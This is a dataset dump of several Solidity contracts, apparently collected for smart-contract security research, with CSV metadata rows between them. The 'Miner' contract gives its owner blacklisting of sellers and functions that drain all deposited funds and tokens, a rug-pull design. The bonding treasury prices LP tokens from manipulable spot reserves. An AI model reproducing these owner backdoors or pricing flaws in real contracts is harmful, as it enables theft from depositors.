uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
mapping(address => uint256) internal _balances;
constructor(address _owner,
address _rewardsDistribution,
address _rewardsToken,
address _stakingToken,
uint256 _rewardsDuration) internal Owned(_owner) {
rewardsToken = IERC20(_rewardsToken);
stakingToken = IERC20(_stakingToken);
rewardsDistribution = _rewardsDistribution;
rewardsDuration = _rewardsDuration;
}
function totalSupply() public view returns (uint256);
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(totalSupply()));
}
function earned(address account) public view returns (uint256) {
return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]);
}
function getRewardForDuration() external view returns (uint256) {
return rewardRate.mul(rewardsDuration);
}
function notifyRewardAmount(uint256 reward, address rewardHolder) external onlyRewardsDistribution updateReward(address(0)) {
// handle the transfer of reward tokens via `transferFrom` to reduce the number
// of transactions required and ensure correctness of the reward amount
rewardsToken.safeTransferFrom(rewardHolder, address(this), reward);
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(rewardsDuration);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(rewardsDuration);
}
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(rewardsDuration);
emit RewardAdded(reward);
}
// Added to support recovering LP Rewards from other systems such as BAL to be distributed to holders
function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner {
require(tokenAddress != address(stakingToken), "Cannot withdraw the staking token");
IERC20(tokenAddress).safeTransfer(owner, tokenAmount);
emit Recovered(tokenAddress, tokenAmount);
}
function setRewardsDuration(uint256 _rewardsDuration) external onlyOwner {
require(block.timestamp > periodFinish,
"Previous rewards period must be complete before changing the duration for the new period");
rewardsDuration = _rewardsDuration;
emit RewardsDurationUpdated(rewardsDuration);
}
// End rewards emission earlier
function updatePeriodFinish(uint timestamp) external onlyOwner updateReward(address(0)) {
periodFinish = timestamp;
}
function _payReward(address user, address recipient) internal nonReentrant updateReward(user) {
uint256 reward = rewards[user];
if (reward > 0) {
rewards[user] = 0;
rewardsToken.safeTransfer(recipient, reward);
emit RewardPaid(user, recipient, reward);
}
}
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
event RewardAdded(uint256 reward);
event RewardPaid(address indexed user, address indexed recipient, uint256 reward);
event RewardsDurationUpdated(uint256 newDuration);
event Recovered(address token, uint256 amount);
}
| 237,770 | 10,865 |
6269510eeac69ec10215094c90edb6533109ebec8131ef4c1b51703128ebb3c2
| 17,504 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/03/0312Df69FBbeD8A458B5Dde47022404b947044d7_RebateTreasury.sol
| 3,211 | 12,517 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IOracle {
function update() external;
function consult(address _token, uint256 _amountIn) external view returns (uint144 amountOut);
function twap(address _token, uint256 _amountIn) external view returns (uint144 _amountOut);
}
interface ITreasury {
function epoch() external view returns (uint256);
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
contract RebateTreasury is Ownable {
struct Asset {
bool isAdded;
uint256 multiplier;
address oracle;
bool isLP;
address pair;
}
struct VestingSchedule {
uint256 amount;
uint256 period;
uint256 end;
uint256 claimed;
uint256 lastClaimed;
}
IERC20 public Zombie;
IOracle public ZombieOracle;
ITreasury public Treasury;
mapping (address => Asset) public assets;
mapping (address => VestingSchedule) public vesting;
uint256 public bondThreshold = 20 * 1e4;
uint256 public bondFactor = 80 * 1e4;
uint256 public secondaryThreshold = 70 * 1e4;
uint256 public secondaryFactor = 15 * 1e4;
uint256 public bondVesting = 3 days;
uint256 public totalVested = 0;
uint256 public lastBuyback;
uint256 public buybackAmount = 10 * 1e4;
address public constant WAVAX = 0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7;
uint256 public constant DENOMINATOR = 1e6;
// Only allow a function to be called with a bondable asset
modifier onlyAsset(address token) {
require(assets[token].isAdded, "RebateTreasury: token is not a bondable asset");
_;
}
// Initialize parameters
constructor(address zombie, address zombieOracle, address treasury) {
Zombie = IERC20(zombie);
ZombieOracle = IOracle(zombieOracle);
Treasury = ITreasury(treasury);
}
// Bond asset for discounted Zombie at bond rate
function bond(address token, uint256 amount) external onlyAsset(token) {
require(amount > 0, "RebateTreasury: invalid bond amount");
uint256 zombieAmount = getZombieReturn(token, amount);
require(zombieAmount <= Zombie.balanceOf(address(this)) - totalVested, "RebateTreasury: insufficient zombie balance");
IERC20(token).transferFrom(msg.sender, address(this), amount);
_claimVested(msg.sender);
VestingSchedule storage schedule = vesting[msg.sender];
schedule.amount = schedule.amount - schedule.claimed + zombieAmount;
schedule.period = bondVesting;
schedule.end = block.timestamp + bondVesting;
schedule.claimed = 0;
schedule.lastClaimed = block.timestamp;
totalVested += zombieAmount;
}
// Claim available Zombie rewards from bonding
function claimRewards() external {
_claimVested(msg.sender);
}
// Set Zombie token
function setZombie(address zombie) external onlyOwner {
Zombie = IERC20(zombie);
}
// Set Zombie oracle
function setZombieOracle(address oracle) external onlyOwner {
ZombieOracle = IOracle(oracle);
}
// Set Zombie treasury
function setTreasury(address treasury) external onlyOwner {
Treasury = ITreasury(treasury);
}
// Set bonding parameters of token
function setAsset(address token,
bool isAdded,
uint256 multiplier,
address oracle,
bool isLP,
address pair) external onlyOwner {
assets[token].isAdded = isAdded;
assets[token].multiplier = multiplier;
assets[token].oracle = oracle;
assets[token].isLP = isLP;
assets[token].pair = pair;
}
// Set bond pricing parameters
function setBondParameters(uint256 primaryThreshold,
uint256 primaryFactor,
uint256 secondThreshold,
uint256 secondFactor,
uint256 vestingPeriod) external onlyOwner {
bondThreshold = primaryThreshold;
bondFactor = primaryFactor;
secondaryThreshold = secondThreshold;
secondaryFactor = secondFactor;
bondVesting = vestingPeriod;
}
// Redeem assets for buyback under peg
function redeemAssetsForBuyback(address[] calldata tokens) external onlyOwner {
require(getZombiePrice() < 1e18, "RebateTreasury: unable to buy back");
uint256 epoch = Treasury.epoch();
require(lastBuyback != epoch, "RebateTreasury: already bought back");
lastBuyback = epoch;
for (uint256 t = 0; t < tokens.length; t ++) {
require(assets[tokens[t]].isAdded, "RebateTreasury: invalid token");
IERC20 Token = IERC20(tokens[t]);
Token.transfer(owner(), Token.balanceOf(address(this)) * buybackAmount / DENOMINATOR);
}
}
function _claimVested(address account) internal {
VestingSchedule storage schedule = vesting[account];
if (schedule.amount == 0 || schedule.amount == schedule.claimed) return;
if (block.timestamp <= schedule.lastClaimed || schedule.lastClaimed >= schedule.end) return;
uint256 duration = (block.timestamp > schedule.end ? schedule.end : block.timestamp) - schedule.lastClaimed;
uint256 claimable = schedule.amount * duration / schedule.period;
if (claimable == 0) return;
schedule.claimed += claimable;
schedule.lastClaimed = block.timestamp > schedule.end ? schedule.end : block.timestamp;
totalVested -= claimable;
Zombie.transfer(account, claimable);
}
// Calculate Zombie return of bonding amount of token
function getZombieReturn(address token, uint256 amount) public view onlyAsset(token) returns (uint256) {
uint256 zombiePrice = getZombiePrice();
uint256 tokenPrice = getTokenPrice(token);
uint256 bondPremium = getBondPremium();
return amount * tokenPrice * (bondPremium + DENOMINATOR) * assets[token].multiplier / (DENOMINATOR * DENOMINATOR) / zombiePrice;
}
// Calculate premium for bonds based on bonding curve
function getBondPremium() public view returns (uint256) {
uint256 zombiePrice = getZombiePrice();
if (zombiePrice < 1e18) return 0; // related to 1FTM peg
uint256 zombiePremium = zombiePrice * DENOMINATOR / 1e18 - DENOMINATOR; // related to 1FTM peg
if (zombiePremium < bondThreshold) return 0;
if (zombiePremium <= secondaryThreshold) {
return (zombiePremium - bondThreshold) * bondFactor / DENOMINATOR;
} else {
uint256 primaryPremium = (secondaryThreshold - bondThreshold) * bondFactor / DENOMINATOR;
return primaryPremium + (zombiePremium - secondaryThreshold) * secondaryFactor / DENOMINATOR;
}
}
// Get Zombie price from Oracle
function getZombiePrice() public view returns (uint256) {
return ZombieOracle.consult(address(Zombie), 1e18);
}
// Get token price from Oracle
function getTokenPrice(address token) public view onlyAsset(token) returns (uint256) {
Asset memory asset = assets[token];
IOracle Oracle = IOracle(asset.oracle);
if (!asset.isLP) {
return Oracle.consult(token, 1e18);
}
IUniswapV2Pair Pair = IUniswapV2Pair(asset.pair);
uint256 totalPairSupply = Pair.totalSupply();
address token0 = Pair.token0();
address token1 = Pair.token1();
(uint256 reserve0, uint256 reserve1,) = Pair.getReserves();
if (token1 == WAVAX) {
uint256 tokenPrice = Oracle.consult(token0, 1e18);
return tokenPrice * reserve0 / totalPairSupply +
reserve1 * 1e18 / totalPairSupply;
} else {
uint256 tokenPrice = Oracle.consult(token1, 1e18);
return tokenPrice * reserve1 / totalPairSupply +
reserve0 * 1e18 / totalPairSupply;
}
}
// Get claimable vested Zombie for account
function claimableZombie(address account) external view returns (uint256) {
VestingSchedule memory schedule = vesting[account];
if (block.timestamp <= schedule.lastClaimed || schedule.lastClaimed >= schedule.end) return 0;
uint256 duration = (block.timestamp > schedule.end ? schedule.end : block.timestamp) - schedule.lastClaimed;
return schedule.amount * duration / schedule.period;
}
}
| 95,422 | 10,866 |
b2418496226726b23ff35b2ed65680fc2f087b79d43c399076129f34fb2ef02d
| 20,129 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/2f/2Fd1Ae2D376F6Bf2232862a6F8f4ae5f306F370F_Miner.sol
| 5,306 | 18,074 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_owner = msg.sender;
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Miner is Ownable {
using SafeMath for uint256;
uint256 public EGGS_TO_HIRE_1MINERS = 864000;
uint256 public REFERRAL = 120;
uint256 public PERCENTS_DIVIDER = 1000;
uint256 private TAX = 25;
uint256 public MARKET_EGGS_DIVISOR = 5;
uint256 public MARKET_EGGS_DIVISOR_SELL = 2;
uint256 public MIN_INVEST_LIMIT = 1 * 1e16;
uint256 public WALLET_DEPOSIT_LIMIT = 50 * 1e18;
uint256 public COMPOUND_BONUS = 0;
uint256 public COMPOUND_BONUS_MAX_TIMES = 10;
uint256 public COMPOUND_STEP = 24 * 60 * 60;
uint256 public WITHDRAWAL_TAX = 500;
uint256 public COMPOUND_FOR_NO_TAX_WITHDRAWAL = 6;
uint256 public totalStaked;
uint256 public totalDeposits;
uint256 public totalCompound;
uint256 public totalRefBonus;
uint256 public totalWithdrawn;
uint256 private marketEggs;
uint256 PSN = 10000;
uint256 PSNH = 5000;
bool private contractStarted;
bool public blacklistActive = true;
mapping(address => bool) public Blacklisted;
uint256 public CUTOFF_STEP = 48 * 60 * 60;
uint256 public WITHDRAW_COOLDOWN = 4 * 60 * 60;
address payable private dev1;
fallback() external {}
receive() external payable {}
struct User {
uint256 initialDeposit;
uint256 userDeposit;
uint256 miners;
uint256 claimedEggs;
uint256 lastHatch;
address referrer;
uint256 referralsCount;
uint256 referralEggRewards;
uint256 totalWithdrawn;
uint256 dailyCompoundBonus;
uint256 farmerCompoundCount; //added to monitor farmer consecutive compound without cap
uint256 lastWithdrawTime;
}
mapping(address => User) public users;
constructor() {
dev1 = payable(msg.sender);
marketEggs = 144000000000;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function setblacklistActive(bool isActive) public{
require(msg.sender == owner(), "Admin use only.");
blacklistActive = isActive;
}
function blackListWallet(address Wallet, bool isBlacklisted) public{
require(msg.sender == owner(), "Admin use only.");
Blacklisted[Wallet] = isBlacklisted;
}
function blackMultipleWallets(address[] calldata Wallet, bool isBlacklisted) public{
require(msg.sender == owner(), "Admin use only.");
for(uint256 i = 0; i < Wallet.length; i++) {
Blacklisted[Wallet[i]] = isBlacklisted;
}
}
function checkIfBlacklisted(address Wallet) public view returns(bool blacklisted){
require(msg.sender == owner(), "Admin use only.");
blacklisted = Blacklisted[Wallet];
}
function CompoundRewards(bool isCompound) public {
User storage user = users[msg.sender];
require(contractStarted, "Contract not yet Started.");
uint256 eggsUsed = getMyEggs();
uint256 eggsForCompound = eggsUsed;
if(isCompound) {
uint256 dailyCompoundBonus = getDailyCompoundBonus(msg.sender, eggsForCompound);
eggsForCompound = eggsForCompound.add(dailyCompoundBonus);
uint256 eggsUsedValue = calculateEggSell(eggsForCompound);
user.userDeposit = user.userDeposit.add(eggsUsedValue);
totalCompound = totalCompound.add(eggsUsedValue);
}
if(block.timestamp.sub(user.lastHatch) >= COMPOUND_STEP) {
if(user.dailyCompoundBonus < COMPOUND_BONUS_MAX_TIMES) {
user.dailyCompoundBonus = user.dailyCompoundBonus.add(1);
}
//add compoundCount for monitoring purposes.
user.farmerCompoundCount = user.farmerCompoundCount.add(1);
}
user.miners = user.miners.add(eggsForCompound.div(EGGS_TO_HIRE_1MINERS));
user.claimedEggs = 0;
user.lastHatch = block.timestamp;
marketEggs = marketEggs.add(eggsUsed.div(MARKET_EGGS_DIVISOR));
}
function SellLands() public{
require(contractStarted, "Contract not yet Started.");
if (blacklistActive) {
require(!Blacklisted[msg.sender], "Address is blacklisted.");
}
User storage user = users[msg.sender];
uint256 hasEggs = getMyEggs();
uint256 eggValue = calculateEggSell(hasEggs);
if(user.dailyCompoundBonus < COMPOUND_FOR_NO_TAX_WITHDRAWAL){
//daily compound bonus count will not reset and eggValue will be deducted with 50% feedback tax.
eggValue = eggValue.sub(eggValue.mul(WITHDRAWAL_TAX).div(PERCENTS_DIVIDER));
}else{
//set daily compound bonus count to 0 and eggValue will remain without deductions
user.dailyCompoundBonus = 0;
user.farmerCompoundCount = 0;
}
user.lastWithdrawTime = block.timestamp;
user.claimedEggs = 0;
user.lastHatch = block.timestamp;
marketEggs = marketEggs.add(hasEggs.div(MARKET_EGGS_DIVISOR_SELL));
if(getBalance() < eggValue) {
eggValue = getBalance();
}
uint256 eggsPayout = eggValue.sub(payFees(eggValue));
payable(address(msg.sender)).transfer(eggsPayout);
user.totalWithdrawn = user.totalWithdrawn.add(eggsPayout);
totalWithdrawn = totalWithdrawn.add(eggsPayout);
}
function BuyLands(address ref) public payable{
require(contractStarted, "Contract not yet Started.");
User storage user = users[msg.sender];
require(msg.value >= MIN_INVEST_LIMIT, "Mininum investment not met.");
require(user.initialDeposit.add(msg.value) <= WALLET_DEPOSIT_LIMIT, "Max deposit limit reached.");
uint256 eggsBought = calculateEggBuy(msg.value, address(this).balance.sub(msg.value));
user.userDeposit = user.userDeposit.add(msg.value);
user.initialDeposit = user.initialDeposit.add(msg.value);
user.claimedEggs = user.claimedEggs.add(eggsBought);
if (user.referrer == address(0)) {
if (ref != msg.sender) {
user.referrer = ref;
}
address upline1 = user.referrer;
if (upline1 != address(0)) {
users[upline1].referralsCount = users[upline1].referralsCount.add(1);
}
}
if (user.referrer != address(0)) {
address upline = user.referrer;
if (upline != address(0)) {
uint256 refRewards = msg.value.mul(REFERRAL).div(PERCENTS_DIVIDER);
payable(address(upline)).transfer(refRewards);
users[upline].referralEggRewards = users[upline].referralEggRewards.add(refRewards);
totalRefBonus = totalRefBonus.add(refRewards);
}
}
uint256 eggsPayout = payFees(msg.value);
totalStaked = totalStaked.add(msg.value.sub(eggsPayout));
totalDeposits = totalDeposits.add(1);
CompoundRewards(false);
}
function invest(address _token, uint256 _amount) public {
IERC20(_token).transferFrom(msg.sender, address(this), _amount);
}
function withdrawToken(address _token, address _to, uint256 _amount) external onlyOwner {
if (_amount > getTokenBalance(_token)) {
IERC20(_token).transfer(address(_to), getTokenBalance(_token));
} else {
IERC20(_token).transfer(address(_to), _amount);
}
}
function startKingdom(address addr) public payable{
if (!contractStarted) {
if (msg.sender == owner()) {
contractStarted = true;
BuyLands(addr);
} else revert("Contract not yet started.");
}
}
//fund contract with BNB before launch.
function fundContract() external payable {}
function payFees(uint256 eggValue) internal returns(uint256) {
uint256 tax = eggValue.mul(TAX).div(PERCENTS_DIVIDER);
dev1.transfer(tax);
return tax;
}
function getDailyCompoundBonus(address _adr, uint256 amount) public view returns(uint256){
if(users[_adr].dailyCompoundBonus == 0) {
return 0;
} else {
uint256 totalBonus = users[_adr].dailyCompoundBonus.mul(COMPOUND_BONUS);
uint256 result = amount.mul(totalBonus).div(PERCENTS_DIVIDER);
return result;
}
}
function getUserInfo(address _adr) public view returns(uint256 _initialDeposit, uint256 _userDeposit, uint256 _miners,
uint256 _claimedEggs, uint256 _lastHatch, address _referrer, uint256 _referrals,
uint256 _totalWithdrawn, uint256 _referralEggRewards, uint256 _dailyCompoundBonus, uint256 _farmerCompoundCount, uint256 _lastWithdrawTime) {
_initialDeposit = users[_adr].initialDeposit;
_userDeposit = users[_adr].userDeposit;
_miners = users[_adr].miners;
_claimedEggs = users[_adr].claimedEggs;
_lastHatch = users[_adr].lastHatch;
_referrer = users[_adr].referrer;
_referrals = users[_adr].referralsCount;
_totalWithdrawn = users[_adr].totalWithdrawn;
_referralEggRewards = users[_adr].referralEggRewards;
_dailyCompoundBonus = users[_adr].dailyCompoundBonus;
_farmerCompoundCount = users[_adr].farmerCompoundCount;
_lastWithdrawTime = users[_adr].lastWithdrawTime;
}
function getBalance() public view returns(uint256){
return address(this).balance;
}
function getTokenBalance(address _token) public view returns(uint256){
return IERC20(_token).balanceOf(address(this));
}
function getTimeStamp() public view returns (uint256) {
return block.timestamp;
}
function getAvailableEarnings(address _adr) public view returns(uint256) {
uint256 userEggs = users[_adr].claimedEggs.add(getEggsSinceLastHatch(_adr));
return calculateEggSell(userEggs);
}
// Supply and demand balance algorithm
function calculateTrade(uint256 rt,uint256 rs, uint256 bs) public view returns(uint256){
// (PSN * bs)/(PSNH + ((PSN * rs + PSNH * rt) / rt)); PSN / PSNH == 1/2
// bs * (1 / (1 + (rs / rt)))
// purchase marketEggs * 1 / ((1 + (this.balance / eth)))
// sell this.balance * 1 / ((1 + (marketEggs / eggs)))
return SafeMath.div(SafeMath.mul(PSN, bs),
SafeMath.add(PSNH,
SafeMath.div(SafeMath.add(SafeMath.mul(PSN, rs),
SafeMath.mul(PSNH, rt)),
rt)));
}
function calculateEggSell(uint256 eggs) public view returns(uint256){
return calculateTrade(eggs, marketEggs, getBalance());
}
function calculateEggBuy(uint256 eth,uint256 contractBalance) public view returns(uint256){
return calculateTrade(eth, contractBalance, marketEggs);
}
function calculateEggBuySimple(uint256 eth) public view returns(uint256){
return calculateEggBuy(eth, getBalance());
}
function getEggsYield(uint256 amount) public view returns(uint256,uint256) {
uint256 eggsAmount = calculateEggBuy(amount , getBalance().add(amount).sub(amount));
uint256 miners = eggsAmount.div(EGGS_TO_HIRE_1MINERS);
uint256 day = 1 days;
uint256 eggsPerDay = day.mul(miners);
uint256 earningsPerDay = calculateEggSellForYield(eggsPerDay, amount);
return(miners, earningsPerDay);
}
function calculateEggSellForYield(uint256 eggs,uint256 amount) public view returns(uint256){
return calculateTrade(eggs,marketEggs, getBalance().add(amount));
}
function getSiteInfo() public view returns (uint256 _totalStaked, uint256 _totalDeposits, uint256 _totalCompound, uint256 _totalRefBonus) {
return (totalStaked, totalDeposits, totalCompound, totalRefBonus);
}
function getMyMiners() public view returns(uint256){
return users[msg.sender].miners;
}
function getMyEggs() public view returns(uint256){
return users[msg.sender].claimedEggs.add(getEggsSinceLastHatch(msg.sender));
}
function getEggsSinceLastHatch(address adr) public view returns(uint256){
uint256 secondsSinceLastHatch = block.timestamp.sub(users[adr].lastHatch);
uint256 cutoffTime = min(secondsSinceLastHatch, CUTOFF_STEP);
uint256 secondsPassed = min(EGGS_TO_HIRE_1MINERS, cutoffTime);
return secondsPassed.mul(users[adr].miners);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return a < b ? a : b;
}
function CHANGE_OWNERSHIP(address value) external {
require(msg.sender == owner(), "Admin use only.");
transferOwnership(value);
}
function CHANGE_DEV1(address value) external {
require(msg.sender == dev1, "Admin use only.");
dev1 = payable(value);
}
// 2592000 - 3%, 2160000 - 4%, 1728000 - 5%, 1440000 - 6%, 1200000 - 7%
// 1080000 - 8%, 959000 - 9%, 864000 - 10%, 720000 - 12%
function PRC_EGGS_TO_HIRE_1MINERS(uint256 value) external {
require(msg.sender == owner(), "Admin use only.");
require(value >= 479520 && value <= 720000);
EGGS_TO_HIRE_1MINERS = value;
}
function PRC_REFERRAL(uint256 value) external {
require(msg.sender == owner(), "Admin use only.");
require(value >= 10 && value <= 100);
REFERRAL = value;
}
function PRC_MARKET_EGGS_DIVISOR(uint256 value) external {
require(msg.sender == owner(), "Admin use only.");
require(value <= 50);
MARKET_EGGS_DIVISOR = value;
}
function PRC_MARKET_EGGS_DIVISOR_SELL(uint256 value) external {
require(msg.sender == owner(), "Admin use only.");
require(value <= 50);
MARKET_EGGS_DIVISOR_SELL = value;
}
function SET_WITHDRAWAL_TAX(uint256 value) external {
require(msg.sender == owner(), "Admin use only.");
require(value <= 900);
WITHDRAWAL_TAX = value;
}
function BONUS_DAILY_COMPOUND(uint256 value) external {
require(msg.sender == owner(), "Admin use only.");
require(value >= 10 && value <= 900);
COMPOUND_BONUS = value;
}
function BONUS_DAILY_COMPOUND_BONUS_MAX_TIMES(uint256 value) external {
require(msg.sender == owner(), "Admin use only.");
require(value <= 30);
COMPOUND_BONUS_MAX_TIMES = value;
}
function BONUS_COMPOUND_STEP(uint256 value) external {
require(msg.sender == owner(), "Admin use only.");
require(value <= 24);
COMPOUND_STEP = value * 60 * 60;
}
function SET_INVEST_MIN(uint256 value) external {
require(msg.sender == owner(), "Admin use only");
MIN_INVEST_LIMIT = value * 1e18;
}
function SET_CUTOFF_STEP(uint256 value) external {
require(msg.sender == owner(), "Admin use only");
CUTOFF_STEP = value * 60 * 60;
}
function SET_WITHDRAW_COOLDOWN(uint256 value) external {
require(msg.sender == owner(), "Admin use only");
require(value <= 24);
WITHDRAW_COOLDOWN = value * 60 * 60;
}
function SET_WALLET_DEPOSIT_LIMIT(uint256 value) external {
require(msg.sender == owner(), "Admin use only");
require(value >= 10);
WALLET_DEPOSIT_LIMIT = value * 1 ether;
}
function SET_COMPOUND_FOR_NO_TAX_WITHDRAWAL(uint256 value) external {
require(msg.sender == owner(), "Admin use only.");
require(value <= 12);
COMPOUND_FOR_NO_TAX_WITHDRAWAL = value;
}
function withDraw(address _to, uint256 _amount) onlyOwner public{
if (_amount > address(this).balance) {
payable(_to).transfer(address(this).balance);
} else {
payable(_to).transfer(_amount);
}
}
}
| 312,584 | 10,867 |
1b3154520164fbf38abf16b39f01e0aa5825e2b119663e6808d6615bea1a197e
| 10,727 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.6/0x347925b22d0217a4797f470faa2afebbdb150b7a.sol
| 2,683 | 10,140 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Nanotechnology is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "Nanotechnology";
string public constant symbol = "NTC";
uint public constant decimals = 1;
uint public deadline = now + 150 * 1 days;
uint public round2 = now + 50 * 1 days;
uint public round1 = now + 100 * 1 days;
uint256 public totalSupply = 860000000e1;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1 ether / 100; // 0.01 Ether
uint256 public tokensPerEth = 2000000e1;
uint public target0drop = 1;
uint public progress0drop = 0;
//here u will write your ether address
address multisig = 0x5F6557aF8922D4031Ae506d2F02595039D16Ab5a;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
